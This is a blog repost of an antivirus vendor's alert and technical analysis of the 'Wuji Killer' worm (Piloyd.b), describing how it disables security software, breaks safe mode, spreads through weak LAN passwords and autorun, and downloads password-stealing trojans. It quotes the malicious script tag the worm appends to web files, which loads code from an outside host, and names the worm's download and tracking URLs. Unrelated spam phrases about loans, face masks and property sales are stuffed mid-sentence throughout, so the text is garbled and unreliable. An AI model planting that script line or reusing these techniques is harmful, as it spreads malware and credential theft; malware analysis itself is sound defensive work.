“無極殺手”病毒年終爆發 平均每日感染超過萬台電腦“無極殺手”病毒年終爆發 平均每日感染超過萬台電腦 11月16日 ,江民全球病毒監控系統、雲安全防毒系統監測到一個名為“無極殺手”變種b(Win32/Piloyd.b)的病毒正在網際網路上瘋狂傳播,該病毒在短短20天的時間內就感染了37萬餘台電腦,更是躍升到江民病毒排行榜的第四位。 據江民反病毒專家介紹,Worm/Piloyd家族近期更新十分頻繁,其中以“無極殺手”變種b(Win32/Piloyd.b)最為明顯。該病毒運行後,會試信用貸款圖關閉大量安全軟體的相關進程(《江民殺毒軟體》不會被關閉),並利用註冊表映射檔劫持技術,使得這些安全程式下一次使用時無法再啟動;當發現系統中有特定的安全軟體存在時,病毒就會釋放惡意驅動程式以結束安全軟體的自我保護。 同時,病毒會通過自帶的弱密碼列表對網路上的芳鄰進行猜解,被猜解成功的電腦將受到病毒的感染,病毒會感染電腦上的“exe”、“htm”、“html”、“asp”、“aspx”和“rar”檔,當用戶運行這些受感染的可執行檔時,將會啟動病毒,自動術後面膜連接駭客指定的網站“http://bbnn7*.114central.com”,下載大量惡意程式,在所下載的惡意程式中有90%以上都是盜號木馬病毒,嚴重威脅用戶私密資訊安全。 江民反病毒專家提醒廣大用戶,由於該病毒還可以通過移動存儲設備進行傳播,因此建議用戶關閉系統自動播放功能或插入USB碟後在自動播放功能表中選擇殺毒軟體對USB碟進行接入前掃描,及時升級《江民殺毒軟體》病毒庫並對整個電腦系統進行檢查清理。 為了避免遭受更多的未知病毒侵害,反病毒專家建議安裝具備主網路行銷動防禦“沙盒技術”和啟發式掃描功能的正版殺毒軟體,開啟《江民殺毒軟體》主動防禦系統監控功能,該功能可對病毒試圖下載惡意程式、強行篡改系統時間、注入進程和調用其他惡意程式等行為進行監控並自動干預、處理,有效地遏制了未知病毒對系統所造成的干擾和破壞,更大程度的提高了電腦對於未知病毒的防範能力,確保用戶電腦免遭病毒侵害。江民發佈“無極殺手”病毒(Piloyd.b)技術分析報告 11月16日 ,江民反病毒中心監測到,一個名為“無極殺手”變種b(seoWin32/Piloyd.b)的病毒正在網際網路上瘋狂傳播,該病毒在短短20天的時間內就感染了37萬餘台電腦。 江民反病毒專家分析,病毒運行後,生成qmgr.dll病毒檔,載入sfc_os.dll並查找其5號導出函數,使得系統的檔保護對於其要修改的qmgr.dll失效,然後病毒從資源中讀取資料寫到qmgr.dll,修改該檔時間,並啟動對應的服務。然後在系統目錄下把自身複製為lsasvc.dll並在臨時目錄釋放“TempDel.bat”以刪除自身。  病毒檢查當前模組所在進程是否為吳哥窟360tray.exe,如果是則創建一個名為"360SpShadow0"的設備,通過發送IO控制碼的方式控制繞過360tray.exe的檢測,完成後,退出程式。 查找當前系統中是否存在進程"360tray.exe",如果有,則將%SystemRoot%\system32\qmgr.dll複製為%SystemRoot%\system32\ 1l 1.dll,將%SystemRoot%\system32\ 1l 1.dll注入到目標進程空間,從而第一步的內容得到執行,完成後,刪除%SystemRoot%\system32\ 1l 1.dll,同時清空hosts檔。 完成以網路行銷上動作後,病毒會創建多個線程執行不同操作: 將qmgr.dll對應的BITS服務啟動類型設置為自動。 刪除如下HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\MinimalHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network破壞安全模式 然後在暫存檔案夾內創建一個名為LiTdi.sys的驅動,創建名為LiTdi服務,並啟動服務。查找相關殺毒軟體或安全軟體進程,並向驅動發送IO控制碼的方式結束相借貸關進程。 病毒還會調用IE訪問http://nbtj.114anhui.com/msn/163.htm做感染統計。從表項中依次選擇下載十幾種惡意程式,其中多數為盜號木馬。 病毒還會感染可移動存儲設備上的exe,rar,htm,html,asp,aspx文件,對於副檔名為.rar的檔,病毒還會解包感染以上副檔名檔後再壓縮回去。對於htm,html,asp,aspx的網頁檔,病毒會在其尾部加上“<script language=javascriptsrc=http://mm.aa88567.cn/index/mm.js></script>”的惡意代碼,使得這些網頁檔成為病毒小額信貸的二次傳播源,用戶一旦點擊這些被感染檔,則會被病毒感染。 病毒還會通過自動播放功能傳播。查找可移動存儲設備並在其根目錄下生成autorun.inf,建立一個名為recycle.{645FF040-5081-101B -9F 08-00AA 002F 954E}的文件夾,把%SystemRoot%\system32\dllcache\lsasvc.dll複製到該目錄下為Ghost.exe。 通過自帶的弱密碼列表對網路上的芳鄰進行猜解,被猜解成功的管理員帳戶密碼的電腦將受到感染;如果連接成功,則將房屋買賣C:\WINDOWS\system32\dllcache\lsasvc.dll拷貝到對方機器的C:\cm.exe,同時創建計畫任務以啟動該病毒。 針對該病毒,《江民防毒軟體》已緊急升級,用戶只需升級殺毒軟體到最新病毒庫,開啟主動防禦和即時監控,即可有效防禦病毒,免遭“無極殺手”病毒侵害,確保電腦資料安全。 引用:http://tw.myblog.yahoo.com/jw!VFZCb..QEQWi3mo.bkq_NLUk/article?mid=16536


.msgcontent .wsharing ul li { text-indent: 0; }



分享

關鍵字廣告 Facebook
Plurk
YAHOO!

創作者介紹

hf32hfwfbx 發表在 痞客邦 PIXNET 留言(0) 人氣()